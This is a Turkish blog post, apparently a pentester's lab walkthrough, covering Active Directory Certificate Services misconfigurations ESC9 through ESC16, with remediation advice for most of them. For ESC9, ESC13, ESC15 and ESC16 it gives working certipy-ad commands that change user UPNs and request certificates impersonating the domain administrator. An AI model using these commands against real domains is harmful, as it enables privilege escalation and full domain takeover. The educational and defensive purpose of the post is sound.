July 6, 2026
Active Directory Certificate Services Exploitation 9–16
Selamlar yeniden, uzun bir aradan sonra kaldığımız yerden devam edelim :) Eğer takip edemiyorsanız önceki serilere de bakmanızda fayda var…
By 0xb0z
6 min read
Selamlar yeniden, uzun bir aradan sonra kaldığımız yerden devam edelim :) Eğer takip edemiyorsanız önceki serilere de bakmanızda fayda var. İlgili yazılarımın linklerine aşağıdan ulaşabilirsiniz. ESC1–4 ESC5–8
ESC 9 — ESC 10 Misconfiguration
Görüldüğü gibi template'de security extension bayrağı (CT_FLAG_NO_SECURITY_EXTENSION) atanmamış. Template'lerin SID içermeyeceğini söyleyebiliriz artık. Yani bir kullanıcının UPN'ini değiştirip o kullanıcı gibi sertifika alabiliriz. Ek olarak yine "Client Authentication" EKU'su mevcut ve düşük yetkili kullanıcıların da erişimi (enroll izni) bulunuyor.
certipy-ad account update -u 'demo@adcs.lab' -p 'P4ssw0rd_' -dc-ip 10.2.10.24 -user 'esc9user' -upn 'esc9user@adcs.lab'certipy-ad account update -u 'demo@adcs.lab' -p 'P4ssw0rd_' -dc-ip 10.2.10.24 -user 'esc9user' -upn 'esc9user@adcs.lab'Canlı ortamlarda bu işlemi yaparken dikkatli olmakta fayda var. Burada demo kullanıcısının UPN'ini "esc9user" kullanıcısı ile aynı yaptık.(Demo kullanıcısının esc9user üzerinde GenericWrite izni olması gerekiyor.)
Artık zafiyetli template üzerinden sertifika talep edebiliriz.
certipy-ad req -u 'demo@adcs.lab' -p 'P4ssw0rd_' -target 10.2.10.24 -ca 'adcs-CA' -template 'ESC9' -upn 'administrator@adcs.lab'certipy-ad req -u 'demo@adcs.lab' -p 'P4ssw0rd_' -target 10.2.10.24 -ca 'adcs-CA' -template 'ESC9' -upn 'administrator@adcs.lab'Ve administrator hesabını elde etmiş olduk. Eski değeri yeniden yazarak işlemi geri alabiliriz:
certipy-ad account update -u 'demo@adcs.lab' -p 'P4ssw0rd_' -dc-ip 10.2.10.24 -user 'esc9user' -upn 'esc9user@adcs.lab'certipy-ad account update -u 'demo@adcs.lab' -p 'P4ssw0rd_' -dc-ip 10.2.10.24 -user 'esc9user' -upn 'esc9user@adcs.lab'Çözüm için CT_FLAG_NO_SECURITY_EXTENSION (0x80000) bayrağını kaldırın. Bu bayrak aktif olduğu sürece sertifikalar "güvensiz" olarak kabul edilir. Ek olarak KB5014754 yamasını incelemenizi de tavsiye ederim. Registry üzerinde enforce modu açılarak da sıkılaştırabilirsiniz.
ESC 10'a gelecek olursak diğer yapılandırma zafiyetlerine kıyaslayınca en tehlikeli olanlardan biridir. ENROLLEE_SUPPLIES_SUBJECT'e bağlı olmadan tüm template'leri kullanılabilir hâle getirir.
ESC 9'da CT_FLAG_NO_SECURITY_EXTENSION bayrağı bulunması nedeniyle sertifika içinde SID olmaz, DC zorunlu olarak UPN ile eşlemeye çalışır.
ESC10'da ise template'de SID bulunur ama StrongCertificateBindingEnforcement adındaki flag 0 değeri olarak ayarlandığı için SID yok sayılır ve UPN ile eşleştirilir. Özetle sonuç aynı olsa da gidişi yolu farklıdır diyebiliriz.
ESC 11 Misconfiguration
Hatırlarsanız ESC 8'i HTTP üzerinden NTLM Relay ile uyguluyorduk. ESC11'i ise RPC üzerinden yapılan NTLM Relay gibi düşünebilirsiniz. CA üzerinde "IF_ENFORCEENCRYPTICERTREQUEST" ayarının disabled edilmesinden kaynaklanır. (Kurumlar genelde geriye dönük uyumluluk için disable edebilir.)
ESC 12 Misconfiguration
Oldukça nadir bir misconfiguration'dur. Açıkçası şuana kadar gittiğim hiçbir kurumda da denk gelmedim ancak şuan için simüle de edemeyeceğimizden zafiyet mantığından bahsedelim isterim.
Temelde CA dediğimiz yapı 2 şekilde çalışabiliyor. 1. olarak Private Key (DPAPI+ACL) ile korunması. 2. olarak HSM denilen yapılar içerisinde tutulur. HSM özetle private key'i alıp ayrı bir donanımda tutan bir sistem. HSM tabanlı Certificate Authority'lerde standartta doğrudan işletim sistemi veya administrator hesapları key'i export edemez ve imzalama işlemlerini HSM üzerinden yapar.
Anahtarı sağlayan yapının yanlış yapılandırılması veya anahtarı kullanması için atanan hesapların ele geçirildiği durumlarda sertifika altyapısına yönelik ayrıcalık elde edilebilir.
ESC 13 Misconfiguration
AD ortamında smart card veya sertifika tabanlı oturum açma işlemleri (PKINIT vs.) için daha güvenli hale getirmek amacıyla "issuance policies" kullanılır. Her objenin bir OID (object identifier) değeri vardır. Bu OID nesnelerinin bir attribute'u bulunuyor. "msDS-OIDToGroupLink" adındaki bu attribute, hedef bir AD grubuna yazılırsa ve bu gruba bağlıysa o grubun SID bilgisini inject edebilir.
Kısaca özetleyecek olursak: Kullanıcı normal şartlarda AD üzerinde o grubun bir üyesi olarak görünmez. Sertifikayı kullandığında Kerberos seviyesinde o grubun tüm yetkilerine sahip olur.
certipy-ad req -u 'esc13user@adcs.lab' -p 'P4ssw0rd_' -ca adcs-CA -template 'ESC13'
certipy-ad auth -pfx esc13user.pfx -username 'esc13user' -domain 'adcs.lab' -dc-ip 10.2.10.24certipy-ad req -u 'esc13user@adcs.lab' -p 'P4ssw0rd_' -ca adcs-CA -template 'ESC13'
certipy-ad auth -pfx esc13user.pfx -username 'esc13user' -domain 'adcs.lab' -dc-ip 10.2.10.24ADAC veya ADSI Edit kullanılarak msDS-OIDToGroupLink attribute'u barındıran tüm nesneler periyodik olarak listelenmeli, kritik güvenlik gruplarına (özellikle Domain Admins, Tier-0 grupları vb.) doğrudan yapılan OID haritalamaları kaldırılmalıdır. Kritik yayınlama politikası barındıran template'lerin ACL izinleri incelenmeli, bu şablonlardan sadece yetkili personelin (Enroll hakları kısıtlanarak) sertifika alabilmesi sağlanmalıdır.
ESC 14 Misconfiguration
İki farklı Active Directory yapısı birbirine güven bağı ile bağlandığında, sertifika tabanlı kimlik doğrulama süreçlerinin de bu sınırlardan geçebilmesi gerekir. B Forest'ındaki bir Domain Controller, A Forest'ındaki Sertifika Otoritesi (CA) tarafından imzalanmış bir sertifikayı kabul ederken, sertifikanın içindeki Subject Alternative Name (SAN) alanında yer alan User Principal Name (UPN) bilgisini referans alır.
Eğer hedef domaindeki DC'lerde StrongCertificateBindingEnforcement sıkılaştırılmamışsa ve Forest Trust ayarlarındaki Name Suffix Routing filtreleri gevşek bırakılmışsa mantıksal bir boşluk doğar. Hedef domaindeki bir admin hesabını taklit eden bir sertifikayı kendi CA'ine imzalatabilir.
SID Filtering, Forest Trust yapılandırmalarında Netdom araçları kullanılarak Cross-Forest SID filtering ve UPN Name Suffix kısıtlamaları en üst düzeyde aktif edilmelidir. Strong Binding ile trust rel. ilişkisindeki tüm Forest'ların Domain Controller makinelerinde StrongCertificateBindingEnforcement kayıt defteri değeri kesinlikle 2 (Enforce Mode) durumuna getirilerek benzersiz hesap eşleşmesi zorunlu kılınması tavsiye edilir.
ESC 15 Misconfiguration
Bir kullanıcı sertifika istediğinde sistem sertifikayı hemen vermez, çift onay gerekir. İki sistem admininin manuel olarak izin vermesi gibi düşünülebilir. (Hesaplardan birinin ele geçirilmesi durumunda diğerinin bu izne göre reddetmesi.) Çift onay mekanizması bulunuyor özetle.
Zafiyetin oluşması için iki koşula ihtiyacımız var. İlk olarak Schema Version 1 olmalı.
İkinci olarak "Supply in the request" seçeneği aktif olmalı. Bu iki seçenek aktif olduğu zaman "msPKI-Certificate-Application-Policy" alanına istediğimiz değeri eklememizi sağlıyor. Bu özellik AD'de bulunan eku'ların tutulduğu bir özellik. Hangi EKU'yu eklediysen onu tutuyor ve sertifikaya işliyor.
Tamam iyi hoş hocam da ne anlama geliyor bu ?
Şimdi standartta neydi, bir şablondan sertifika talep ettiğimizde EKU'ya ekleme yapıyordu ve sistem bunu işliyordu. Şablonun amacı web sunucularına SSL sertifikası vermek. Yani bu şablondan alınan bir sertifika sadece "Sunucu Kimlik Doğrulaması" (Server Authentication) için kullanılabilir. CA, bu şablondan bir sertifika talep ettiğinde, sertifikaya otomatik olarak Server Authentication EKU'sunu ekler.
CA'ya gittik ve "Ben Web Server şablonundan bir sertifika istiyorum. Bu sertifikayı sunucu olarak kullanacağım." dedik.
CA da bize cevap döndü ve "Tamam, senin sertifikanı veriyorum ama içine sadece Server Authentication yetkisini koyuyorum. Bunun dışında bir şey yapamazsın" dedi. Normal işleyişte şablonun belirlediği eku dışına çıkamıyoruz esasında.
Ancak bahsettiğimiz iki konfigürasyon bir araya geldiğinde bu şablondan sertifika talep ederken, CSR'nin (Certificate Signing Request) içine ekstra bir EKU daha ekleyebiliyorsun. Normalde bu pek mümkün değil ama Schema Version 1'de bu bir özellik gibi çalışıyor.
Özetle sertifikayı istediğimizde "ketçap mayonez de ekle" diyoruz.
Gelelim nasıl sömüreceğimize.
certipy-ad req -u 'demo@adcs.lab' -p 'P4ssw0rd_' -dc-ip 10.2.10.24 -ca 'adcs-CA' -template 'WebServer' -upn 'administrator@adcs.lab' -application-policies '1.3.6.1.5.5.7.3.2'certipy-ad req -u 'demo@adcs.lab' -p 'P4ssw0rd_' -dc-ip 10.2.10.24 -ca 'adcs-CA' -template 'WebServer' -upn 'administrator@adcs.lab' -application-policies '1.3.6.1.5.5.7.3.2'Tabi burada doğrudan SAN alanına Client Authentication OID'sini inject etmiş olduk. Artık auth olup ilgili hash'i alabiliriz, bu işlemi defalarca yaptığımız için burada bırakıyorum :)
ESC 16 Misconfiguration
ESC 16, ESC 9 ile oldukça benzer. ESC 9 doğrudan tek bir şablonu zafiyetli hale getirirken ESC 16 CA'nın verdiği tüm sertifikaları zafiyetli hale getiriyor.
Normalde bir sertifikada SID varsa, DC öncelikle bunu kontrol eder. SID yoksa veya uyuşmuyorsa UPN'ye bakar. ESC16'da da SID olmadığından DC doğrudan UPN'ye bakar.
szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) uzantısı doğrudan disabled extension list'e eklenmiş. CA üzerinden alınan tüm sertifikalar SID'siz olarak gönderildiği anlamına geliyor. Artık UPN basabiliriz.
İlk adımda geçici olarak UPN değişikliği yapılır.
Pekala, burada bir hata aldık, kullandığımız hesabın UPN değiştirme yetkisine sahip olmadığını görüyoruz. Server 2016 ve sonrası sürümlerde dahili kullanıcılar kendi UPN sürümlerini değiştiremiyor. Alternatif olarak başka bir hesap ele geçirdiğimizi varsayarak o kullanıcıdan devam edeceğiz.
certipy-ad account update -u 'demo@adcs.lab' -p 'P4ssw0rd_' -dc-ip 10.2.10.24 -user 'esc16user' -upn 'administrator@adcs.lab'certipy-ad account update -u 'demo@adcs.lab' -p 'P4ssw0rd_' -dc-ip 10.2.10.24 -user 'esc16user' -upn 'administrator@adcs.lab'Başarılı şekilde esc16user'ı için değiştirdik UPN'i.
Bu kullanıcı adına artık talepte bulunabiliriz ve User gibi standart bi template olabilir. Önemli olan sertifikayı CA server'dan alabilmek;
certipy-ad req -u 'esc16user@adcs.lab' -p 'P4ssw0rd_' -target 10.2.10.24 -ca 'adcs-CA' -template 'User'certipy-ad req -u 'esc16user@adcs.lab' -p 'P4ssw0rd_' -target 10.2.10.24 -ca 'adcs-CA' -template 'User'UPN üzerinde değişiklik yapmıştık, artık bunu geri alabiliriz;
certipy-ad account update -u 'esc16user@adcs.lab' -p 'P4ssw0rd_' -dc-ip 10.2.10.24 -user 'esc16user' -upn 'esc16user@adcs.lab'certipy-ad account update -u 'esc16user@adcs.lab' -p 'P4ssw0rd_' -dc-ip 10.2.10.24 -user 'esc16user' -upn 'esc16user@adcs.lab'Authenticate olalım;
ESC Serisini tamamladık :)
Genel olarak AD CS üzerinde varsayılan konfigürasyonlara güvenilmesi ve "Least Privilege Principle" mantığının göz ardı edilmesi bu zafiyetleri oluşturuyor. Gereksiz template'lerin kaldırılması, kimlik doğrulama eku'larının devre dışı bırakılması, web enrollment gibi gereksiz olan rollerin kaldırılması çoğu durumda bu zafiyetleri giderecektir. Düzenli olarak bu sertifikaların incelenmesi ve güvenlik güncelleştirmelerinin de takip edilmesi faydalı olacaktır.
Başka bir yazıda görüşmek üzere.